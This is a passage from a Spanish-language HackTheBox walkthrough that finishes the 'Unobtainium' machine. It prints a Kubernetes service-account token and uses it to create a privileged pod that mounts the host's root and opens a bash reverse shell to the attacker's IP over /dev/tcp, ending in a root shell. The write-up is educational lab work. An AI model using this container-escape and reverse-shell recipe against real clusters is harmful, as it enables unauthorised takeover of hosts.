token:      eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
ca.crt:     570 bytes

Ya tenemos el token, este token lo guardaremos dentro del archivo token. Ahora probamos si tenemos permisos elevados con este token. Empezamos comprobando si podemos crear pods con este token

./kubectl auth --token $(cat token) can-i create pod
yes

Efectivamente podemos.

En esta página encontramos como escapar del contendor con este privilegio: https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes

Vamos a crear un pod, para ello primero creamos el siguiente yaml

root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# cat mount_root.yaml 
apiVersion: v1
kind: Pod
metadata:
  name: pwned2
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: pwned
    image: localhost:5000/node_server
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /root/
      name: getflag
    command: [ "/bin/bash" ]
    args: [ "-c", "/bin/bash -i >& /dev/tcp/10.10.14.47/4434 0>&1;" ]
  #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
  volumes:
  - name: getflag
    hostPath:
      path: /root/

Esto lo que va a hacer es que cuando creemos el pod con este yaml se ejecute desde la máquina host el comando que especificamos en command:

Como image ponemos localhost:5000/node_server, ya que al ser hackthebox la máquina no tiene acceso a internet y no podemos poner un ubuntu. localhost:5000 es la imagen que se usa para los demás pods, esto lo vimos cuando hicimos un describe del pod

Image:          localhost:5000/node_server

Nos ponemos en escucha

nc -nlvp 4434

Creamos el pod

./kubectl --token $(cat token) create -f mount_root.yaml

Recibimos la shell!

nc -nlvp 4434
listening on [any] 4434 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 45130
bash: cannot set terminal process group (171718): Inappropriate ioctl for device
bash: no job control in this shell
root@unobtainium:/usr/src/app#

Ya estamos en la máquina host como root

Máquina completada